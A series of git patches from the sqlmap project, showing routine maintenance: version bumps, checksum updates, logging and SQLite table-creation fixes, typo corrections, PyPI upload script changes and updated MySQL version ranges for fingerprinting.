bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -680edcfbb2082a837bb3a6b0be883e424db0398e296f5254efe2d3dc508874bb lib/core/settings.py +0308b7517a512a96a28d39ecbcc14e825cec4f237d4db6f85cc9002ee3020530 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -240,7 +240,7 @@ f948fefb0fa67da8cf037f7abbcdbb740148babda9ad8a58fab1693456834817 lib/techniques 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/techniques/union/__init__.py 700cc5e8cae85bd86674d0cb6c97093fde2c52a480cc1e40ae0010fffd649395 lib/techniques/union/test.py 4252a1829e60bb9a69e3927bf68a320976b8ef637804b7032d7497699f2e89e7 lib/techniques/union/use.py -94beefc155940e079f2243886eb3dc33d9165e2fbe509d55e0c0c1a9c89b92d1 lib/utils/api.py +a642cacecff4b2e39983ea0704f5f4b19a7c43bd263b24de16354115ec6ad6b5 lib/utils/api.py 1d4d1e49a0897746d4ad64316d4d777f4804c4c11e349e9eb3844130183d4887 lib/utils/brute.py c0a4765aa80c5d9b7ef1abe93401a78dd45b2766a1f4ff6286287dc6188294de lib/utils/crawler.py 3f97e327c548d8b5d74fda96a2a0d1b2933b289b9ec2351b06c91cefdd38629d lib/utils/deps.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a8a3add6a24..80f8ee88dda 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.14" +VERSION = "1.8.3.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index b1cf9a7ea09..ef1dafdc640 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -276,7 +276,7 @@ def emit(self, record): Record emitted events to IPC database for asynchronous I/O communication with the parent process """ - conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, record.msg % record.args if record.args else record.msg)) + conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) def setRestAPILog(): if conf.api: From 9ddf85ce5a0396637a7ab6a12099ad974e8e7b7a Mon Sep 17 00:00:00 2001 From: G3G4X5X6 <87740076+G3G4X5X6@users.noreply.github.com> Date: Mon, 8 Apr 2024 16:05:05 +0800 Subject: [PATCH 059/853] fixed: sqlite3.OperationalError: table logs already exists (#5677) CREATE TABLE IF NOT EXISTS --- lib/utils/api.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index ef1dafdc640..b3d4f38fa73 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -122,9 +122,9 @@ def execute(self, statement, arguments=None): return self.cursor.fetchall() def init(self): - self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") - self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") - self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") class Task(object): def __init__(self, taskid, remote_addr): From 5c9a5943e7753c01bb5376397d4091f0d535393a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Apr 2024 10:11:36 +0200 Subject: [PATCH 060/853] Removing some obsolete code --- data/txt/sha256sums.txt | 8 ++++---- lib/core/option.py | 1 - lib/core/settings.py | 5 +---- lib/request/connect.py | 1 - 4 files changed, 5 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9e185457796..b8141c18f1a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,14 +180,14 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/core/__init__.py fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py 4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py -4411e7f6e48618cdfee8daa096ee3f8f090e9930d6d64761ba69aeb2733c42f6 lib/core/option.py +33e0ec9ed38ae1ac74f1e2e3a1a246dee44c167723c9df69635793bfdbd971df lib/core/option.py fdce95c552a097bf0dd44e5d6be2204c4c458d490e62c4d9d68fca5e2dc37c48 lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py 4ccce0d53f467166d4084c9ef53a07f54cc352e75f785454a31c8a820511a84e lib/core/readlineng.py 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -0308b7517a512a96a28d39ecbcc14e825cec4f237d4db6f85cc9002ee3020530 lib/core/settings.py +8c56685dbca6414a9b3c1dcc45249d41ab4677635edd8a5a68cc8ef5504d39da lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -210,7 +210,7 @@ b48edf3f30db127b18419f607894d5de46fc949d14c65fdc85ece524207d6dfd lib/parse/html c8446d4a50f06a50d7db18adc04c321e12cd2d0fa8b04bd58306511c89823316 lib/request/basic.py ead55e936dfc8941e512c8e8a4f644689387f331f4eed97854c558be3e227a91 lib/request/chunkedhandler.py 06128c4e3e0e1fe34618de9d1fd5ee21292953dce4a3416567e200d2dfda79f2 lib/request/comparison.py -952c2c17b3a11ef282aef8910cb2d2b2ae52070880f35c24de6189585ca6554a lib/request/connect.py +00b23e22a65889829f4ffe65eea5e2bd5cf6ceab4f9b0f32b05047335b0b4a3e lib/request/connect.py 470e96857a7037a2d74b2c4b1c8c5d8379b76ea8cbdb1d8dd4367a7a852fa93c lib/request/direct.py e802cc9099282764da0280172623600b6b9bb9fe1c87f352ade8be7a3f622585 lib/request/dns.py 226226c2b8c906e0d0612ea68404c7f266e7a6685e0bf233e5456e10625b012d lib/request/httpshandler.py @@ -240,7 +240,7 @@ f948fefb0fa67da8cf037f7abbcdbb740148babda9ad8a58fab1693456834817 lib/techniques 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/techniques/union/__init__.py 700cc5e8cae85bd86674d0cb6c97093fde2c52a480cc1e40ae0010fffd649395 lib/techniques/union/test.py 4252a1829e60bb9a69e3927bf68a320976b8ef637804b7032d7497699f2e89e7 lib/techniques/union/use.py -a642cacecff4b2e39983ea0704f5f4b19a7c43bd263b24de16354115ec6ad6b5 lib/utils/api.py +6b3f83a85c576830783a64e943a58e90b1f25e9e24cd51ae12b1d706796124e9 lib/utils/api.py 1d4d1e49a0897746d4ad64316d4d777f4804c4c11e349e9eb3844130183d4887 lib/utils/brute.py c0a4765aa80c5d9b7ef1abe93401a78dd45b2766a1f4ff6286287dc6188294de lib/utils/crawler.py 3f97e327c548d8b5d74fda96a2a0d1b2933b289b9ec2351b06c91cefdd38629d lib/utils/deps.py diff --git a/lib/core/option.py b/lib/core/option.py index 55cf4371381..6125260f7d8 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -128,7 +128,6 @@ from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES -from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.threads import getCurrentThreadData diff --git a/lib/core/settings.py b/lib/core/settings.py index 80f8ee88dda..590c536607a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.15" +VERSION = "1.8.4.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -683,9 +683,6 @@ # Characters that can be used to split parameter values in provided command line (e.g. in --tamper) PARAMETER_SPLITTING_REGEX = r"[,|;]" -# Regular expression describing possible union char value (e.g. used in --union-char) -UNION_CHAR_REGEX = r"\A\w+\Z" - # Attribute used for storing original parameter value in special cases (e.g. POST) UNENCODED_ORIGINAL_VALUE = "original" diff --git a/lib/request/connect.py b/lib/request/connect.py index 0e7d2fa8a30..4b341eccda2 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -281,7 +281,6 @@ def getPage(**kwargs): cookie = kwargs.get("cookie", None) ua = kwargs.get("ua", None) or conf.agent referer = kwargs.get("referer", None) or conf.referer - host = kwargs.get("host", None) or conf.host direct_ = kwargs.get("direct", False) multipart = kwargs.get("multipart", None) silent = kwargs.get("silent", False) From 853cb3fa067abd57e6886c2839d61bb00769b80a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Apr 2024 10:59:06 +0200 Subject: [PATCH 061/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- extra/shutils/pypi.sh | 4 +++- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b8141c18f1a..9712c81e371 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -153,7 +153,7 @@ dc35b51f5c9347eda8130106ee46bb051474fc0c5ed101f84abf3e546f729ceb extra/shutils/ fa1a42d189188770e82d536821d694626ca854438dadb9e08e143d3ece8c7e27 extra/shutils/pydiatra.sh 5da7d1c86ca93313477d1deb0d6d4490798a2b63a2dd8729094184625b971e11 extra/shutils/pyflakes.sh c941be05376ba0a99d329e6de60e3b06b3fb261175070da6b1fc073d3afd5281 extra/shutils/pylint.sh -bc2ceff560d11d696329bd976b14fbd8cddf428ad9f95eeb0a8f53e1afdc998b extra/shutils/pypi.sh +47b75c19b8c3dc6bca9e81918a838bd9261dac9c57366e75c4300c247dec2263 extra/shutils/pypi.sh df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/vulnserver/__init__.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -8c56685dbca6414a9b3c1dcc45249d41ab4677635edd8a5a68cc8ef5504d39da lib/core/settings.py +40d5fc7351089b69e4cb5c12e190ab224475b64d1cd3911ec30d43a3bc35de94 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 9866b9d8103..a2d8c3d45c8 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -176,5 +176,7 @@ EOF sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done -python setup.py sdist upload +python setup.py sdist bdist_wheel +twine check dist/* +twine upload --config-file=~/.pypirc dist/* rm -rf $TMP_DIR diff --git a/lib/core/settings.py b/lib/core/settings.py index 590c536607a..521185a3898 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.4.0" +VERSION = "1.8.4.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b3896f3f8c9f4660241b80aa3c5dc48da2ef913c Mon Sep 17 00:00:00 2001 From: laterlaugh <166613655+laterlaugh@users.noreply.github.com> Date: Fri, 12 Apr 2024 22:18:02 +0800 Subject: [PATCH 062/853] chore: remove repetitive words (#5687) Signed-off-by: laterlaugh --- lib/takeover/metasploit.py | 2 +- sqlmapapi.py | 2 +- thirdparty/beautifulsoup/__init__.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 0e88aa1c775..f3028028d9a 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -196,7 +196,7 @@ def _selectPayload(self): if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " - debugMsg += "user, it is likely that the the VNC " + debugMsg += "user, it is likely that the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) diff --git a/sqlmapapi.py b/sqlmapapi.py index 7eb435dc583..8527f1e5b46 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -98,7 +98,7 @@ def main(): apiparser.add_argument("-s", "--server", help="Run as a REST-JSON API server", action="store_true") apiparser.add_argument("-c", "--client", help="Run as a REST-JSON API client", action="store_true") apiparser.add_argument("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) - apiparser.add_argument("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) + apiparser.add_argument("-p", "--port", help="Port of the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) apiparser.add_argument("--database", help="Set IPC database filepath (optional)") apiparser.add_argument("--username", help="Basic authentication username (optional)") diff --git a/thirdparty/beautifulsoup/__init__.py b/thirdparty/beautifulsoup/__init__.py index 38750ac1ed3..a905a4ce403 100644 --- a/thirdparty/beautifulsoup/__init__.py +++ b/thirdparty/beautifulsoup/__init__.py @@ -16,7 +16,7 @@ # disclaimer in the documentation and/or other materials provided # with the distribution. # -# * Neither the name of the the Beautiful Soup Consortium and All +# * Neither the name of the Beautiful Soup Consortium and All # Night Kosher Bakery nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 60ff0475f21..a1dec76f9a9 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. From dce99e0b40d3425d47ba8361032878fd36a56ea1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 12 Apr 2024 16:21:32 +0200 Subject: [PATCH 063/853] Trivial update --- data/txt/sha256sums.txt | 12 ++++++------ lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 5 +++-- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9712c81e371..78d5bfc189e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -40d5fc7351089b69e4cb5c12e190ab224475b64d1cd3911ec30d43a3bc35de94 lib/core/settings.py +f41eae63de373d61f92ad9a4697dfdaa7cc0a53ffc119d906171726e7c2553f3 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -224,7 +224,7 @@ c6b222c0d34313cdea82fb39c8ead5d658400bf41e56aabd9640bdcf9bedc3a1 lib/request/ra f07a4e40819dc2e7920f9291424761971a9769e4acfd34da223f24717563193c lib/takeover/abstraction.py e775a0abe52c1a204c484ef212ff135c857cc8b7e2c94da23b5624c561ec4b9e lib/takeover/icmpsh.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/takeover/__init__.py -d7ef25256e5f69b5a54569ad8b87ffa2045b5ed678e5bfbcea75136c0201b034 lib/takeover/metasploit.py +c3d8c98a6d44d392f7b8572d3b35804f85838ddbc8e2a2f57af58f8e598af2f4 lib/takeover/metasploit.py a31b1bf60fcf58b7b735a64d73335212d5089e84051ff7883c14f6c73e055643 lib/takeover/registry.py 90655344c9968e841eb809845e30da8cc60160390911345ac873be39d270467f lib/takeover/udf.py 145a9a8b7afb6504700faa1c61ca18eabab3253951788f29e7ee63c3ebff0e48 lib/takeover/web.py @@ -398,7 +398,7 @@ fdc3effe9320197795137dedb58e46c0409f19649889177443a2cbf58787c0dd plugins/dbms/m 7f0165c085b0cb7d168d86acb790741c7ba12ad01ca9edf7972cfb184adb3ee9 plugins/dbms/mysql/connector.py 05c4624b2729f13af2dd19286fc9276fc97c0f1ff19a31255785b7581fc232ae plugins/dbms/mysql/enumeration.py 9915fd436ea1783724b4fe12ea1d68fc3b838c37684a2c6dd01d53c739a1633f plugins/dbms/mysql/filesystem.py -ada995d6633ea737e8f12ba4a569ecb1bae9ffe7928c47ed0235f9de2d96f263 plugins/dbms/mysql/fingerprint.py +bb5e22e286408100bcc0bd2d5f9d894ea0927c9300fa1635f4f6253590305b54 plugins/dbms/mysql/fingerprint.py ae824d447c1a59d055367aa9180acb42f7bb10df0006d4f99eeb12e43af563ae plugins/dbms/mysql/__init__.py 60fc1c647e31df191af2edfd26f99bf739fec53d3a8e1beb3bffdcf335c781fe plugins/dbms/mysql/syntax.py 784c31c2c0e19feb88bf5d21bfc7ae4bf04291922e40830da677577c5d5b4598 plugins/dbms/mysql/takeover.py @@ -473,7 +473,7 @@ fff84edc86b7d22dc01148fb10bb43d51cb9638dff21436fb94555db2a664766 plugins/generi 0bc5c150e8cf4f892aba1ff15fc8938c387fb2a173b77329a0dc4cdb8b4bb4e2 plugins/generic/users.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 plugins/__init__.py d5b3243c2b048aa8074d2d828f74fbf8237286c3d00fd868f1b4090c267b78ef README.md -6cfaaf6534688cecda09433246d0a8518f98ce5cf6d6a8159f24d70502cfc14f sqlmapapi.py +78aafd53980096364f0c995c6283931bff505aed88fed1e7906fb06ee60e9c5b sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 5e172e315524845fe091aa0b7b29303c92ac8f67594c6d50f026d627e415b7ed sqlmap.conf 7800faa964d1fc06bbca856ca35bf21d68f5e044ae0bd5d7dea16d625d585adb sqlmap.py @@ -549,8 +549,8 @@ b4b03668061ba1a1dfc2e3a3db8ba500481da23f22b2bb1ebcbddada7479c3b0 tamper/upperca bd0fd06e24c3e05aecaccf5ba4c17d181e6cd35eee82c0efd6df5414fb0cb6f6 tamper/xforwardedfor.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py -82b6daf563d8c1933a8de655e04d6c8466d3db5c583c952e450d47ccc5c7c662 thirdparty/beautifulsoup/beautifulsoup.py -bc92179cb2785712951fef05333290abf22e5b595e0a93d0168cc05132bc5f37 thirdparty/beautifulsoup/__init__.py +e8f0ea4d982ef93c8c59c7165a1f39ccccddcb24b9fec1c2d2aa5bdb2373fdd5 thirdparty/beautifulsoup/beautifulsoup.py +7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py 1b0f89e4713cc8cec4e4d824368a4eb9d3bdce7ddfc712326caac4feda1d7f69 thirdparty/bottle/bottle.py 9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py 0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 521185a3898..77910e1dd8a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.4.1" +VERSION = "1.8.4.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index dbb7a0469ff..403a878f54e 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,10 +45,11 @@ def _commentCheck(self): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( + (80200, 80202), # MySQL 8.2 (80100, 80102), # MySQL 8.1 - (80000, 80035), # MySQL 8.0 + (80000, 80036), # MySQL 8.0 (60000, 60014), # MySQL 6.0 - (50700, 50744), # MySQL 5.7 + (50700, 50745), # MySQL 5.7 (50600, 50652), # MySQL 5.6 (50500, 50563), # MySQL 5.5 (50400, 50404), # MySQL 5.4 From 1e9e33d9c3743ce37fa6a6076c61d01b014658da Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 12 Apr 2024 17:32:38 +0200 Subject: [PATCH 064/853] Proper patch for #5688 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/parse/configfile.py | 5 ++++- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 78d5bfc189e..2ba72ee7592 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -f41eae63de373d61f92ad9a4697dfdaa7cc0a53ffc119d906171726e7c2553f3 lib/core/settings.py +df96b0f2f935c583492c6331c6f222427976606af9a03ee5f05755a697ea7cec lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -199,7 +199,7 @@ ce65f9e8e1c726de3cec6abf31a2ffdbc16c251f772adcc14f67dee32d0f6b57 lib/core/wordl 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/__init__.py ba16fdd71fba31990dc92ff5a7388fb0ebac21ca905c314be6c8c2b868f94ab7 lib/parse/banner.py d757343f241b14e23aefb2177b6c2598f1bc06253fd93b0d8a28d4a55c267100 lib/parse/cmdline.py -bcf0b32a730f1cdf097b00acf220eb216bc8eb4cb5d217a4a0d6ebe9f8086129 lib/parse/configfile.py +d1fa3b9457f0e934600519309cbd3d84f9e6158a620866e7b352078c7c136f01 lib/parse/configfile.py 9af4c86e41e50bd6055573a7b76e380a6658b355320c72dd6d2d5ddab14dc082 lib/parse/handler.py 13b3ab678a2c422ce1dea9558668c05e562c0ec226f36053259a0be7280ebf92 lib/parse/headers.py b48edf3f30db127b18419f607894d5de46fc949d14c65fdc85ece524207d6dfd lib/parse/html.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 77910e1dd8a..09121dae255 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.4.2" +VERSION = "1.8.4.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 006537888f3..19b6e8ec32a 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -68,7 +68,10 @@ def configFileParser(configFile): try: config = UnicodeRawConfigParser() - config.readfp(configFP) + if hasattr(config, "read_file"): + config.read_file(configFP) + else: + config.readfp(configFP) except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) From 2f01cbf71fcd48bb20f9394ff6f088211305277e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 12 Apr 2024 18:09:13 +0200 Subject: [PATCH 065/853] Patching some resource-related warnings --- data/txt/sha256sums.txt | 6 +++--- lib/core/common.py | 34 ++++++++++++++++++++-------------- lib/core/settings.py | 2 +- lib/core/testing.py | 8 ++++++-- 4 files changed, 30 insertions(+), 20 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2ba72ee7592..d562ac1c96a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py 